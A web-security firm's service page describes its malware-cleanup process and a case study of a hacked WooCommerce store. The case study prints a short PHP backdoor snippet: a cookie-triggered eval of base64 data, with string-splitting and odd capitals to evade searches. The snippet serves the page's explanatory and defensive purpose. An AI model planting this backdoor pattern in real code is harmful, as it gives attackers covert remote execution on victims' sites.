How it works
We find out what is actually wrong before we touch anything, explain it to you in plain English, and wait for your go-ahead before we change a single file. Then we clean it and send you a report showing exactly what we did.
Diagnose first. Always.
Most cleanups go wrong in the same way: someone runs a scanner, deletes whatever it flags, and breaks the website. Half the flagged files are usually genuine parts of your site that the attacker edited — delete those and your shop stops working. So we do it in a fixed order, and you approve the destructive part before it happens.
We scan and investigate
A security engineer goes through every program file on your server, your database, your scheduled tasks and your server configuration. Nothing is changed at this stage — we are only looking.
We are not just looking for known malware. We work out how they got in, because removing the files without closing the door means you get reinfected within weeks.
We explain it, and you approve
You get a short email in plain English: what we found, how they got in, what we want to do about it, and anything we cannot prove either way. No jargon, no scare tactics.
Some fixes are permanent — deleting an old site copy, switching off a vulnerable plugin. Those are your business decisions, not ours.
We clean and harden
Before a single change, we take a full copy of your files and database, pull it to our own storage, and verify it byte for byte. Only then do we start.
Planted files are deleted. Genuine files the attacker edited are repaired, not deleted — we strip out the malicious code and leave the rest untouched, so nothing on your site breaks. Then we close the way in, remove any fake accounts, and rotate your security keys so every existing login session dies, including theirs.
We rescan and report
We run the same scan again to prove the site is clean, check your pages still load correctly, and remove every working file we created from your server.
Then you get a written report: every file we removed, every file we repaired, where your backup is and how long we keep it, and what to do next to stay safe.
What this looks like in practice
A recent cleanup, start to finish. The customer's name and website address have been changed — everything else is exactly as it happened.
Dutch WooCommerce store, around 450 products
Their host emailed them a scan result listing 17 infected files, and suspended nothing. The shop looked completely normal.
We scanned all 18,171 program files. Our own detection independently found the same 17 files the host's scanner did — and confirmed there were no others hiding.
All 17 contained the same thing: a backdoor that sits silent until the attacker sends a secret code with an ordinary web request, then runs whatever they want. That is why nothing looked wrong.
$a='_C'; $b='OO'; $c='KIE'; // "_COOKIE" split up so searches miss it
$jar = ${$a.$b.$c};
if (isset($jar['BZNmE'])) // a different secret key in every file
eVAl(base64_decode($jar['BZNmE'])); // odd capitals dodge the obvious search
Every file had different random comments inside it, so no two shared a fingerprint and a signature-based scanner could not group them.
An old 2017 copy of their shop was still sitting on the server, reachable by anyone, nine years without an update. Thirteen of the seventeen files were inside it.
The part that mattered most: that old copy was wired to the same live database as the real shop. It was not a harmless archive, it was a second working front door onto current customer and order data — and it made every security update on the modern site irrelevant, because you could simply walk in the old door instead.
We also found a live security hole in a plugin that let a complete stranger create an account with access to every order. The plugin makers still have no fix for it.
We sent a plain-English summary and asked two questions: how to handle the unpatched plugin, and whether to delete the old 2017 copy. Both would change how their site behaved, so both were theirs to decide.
We also told them something we could not prove: their server only kept three hours of visitor logs, so we could not show the exact moment of the first break-in, and could not prove customer data was never copied. We said so rather than reassuring them.
Full backup taken and verified first. Then 15 planted files deleted, and the 2 genuine plugin files repaired by removing one malicious line each — deleting those would have broken the shop.
Fake accounts removed, the plugin hole closed by hand, the old 2017 copy archived and taken off the server, security keys rotated, and every login session ended.
Reading three years of the server's error history, we found the attacker had also tampered with their payment plugin. That file could not tolerate the change and crashed — 5,392 times across four days.
Their card payments had been broken for four days and nobody had connected it to the hack. It had quietly repaired itself when the plugin updated. They got the explanation in their report.
Rescan came back with zero backdoors. Homepage byte-for-byte identical to before the cleanup, so nothing had been broken. Site size dropped from 3.4 GB to 822 MB once the old copy and a 2.2 GB publicly-downloadable log file were gone.
Every working file we had created was removed from their server. The backup stayed with us, not on their website.
The report
Written for a business owner, not an engineer. It is the proof of what was done, and it is yours to keep or hand to your host, your developer or your insurer.
- What was wrong, and how they got in
- Every file removed, listed by its full path
- Every file repaired, and what was left intact
- Where your backup is and how long we keep it
- What to do next, in priority order
- Anything we could not prove, stated plainly
See a real one
A genuine cleanup report, with the customer's details removed. Nothing else changed.
View sample reportWhat we will never do
Think your site is infected?
Start with a free scan, or send us the details and we will tell you what we think before you pay anything.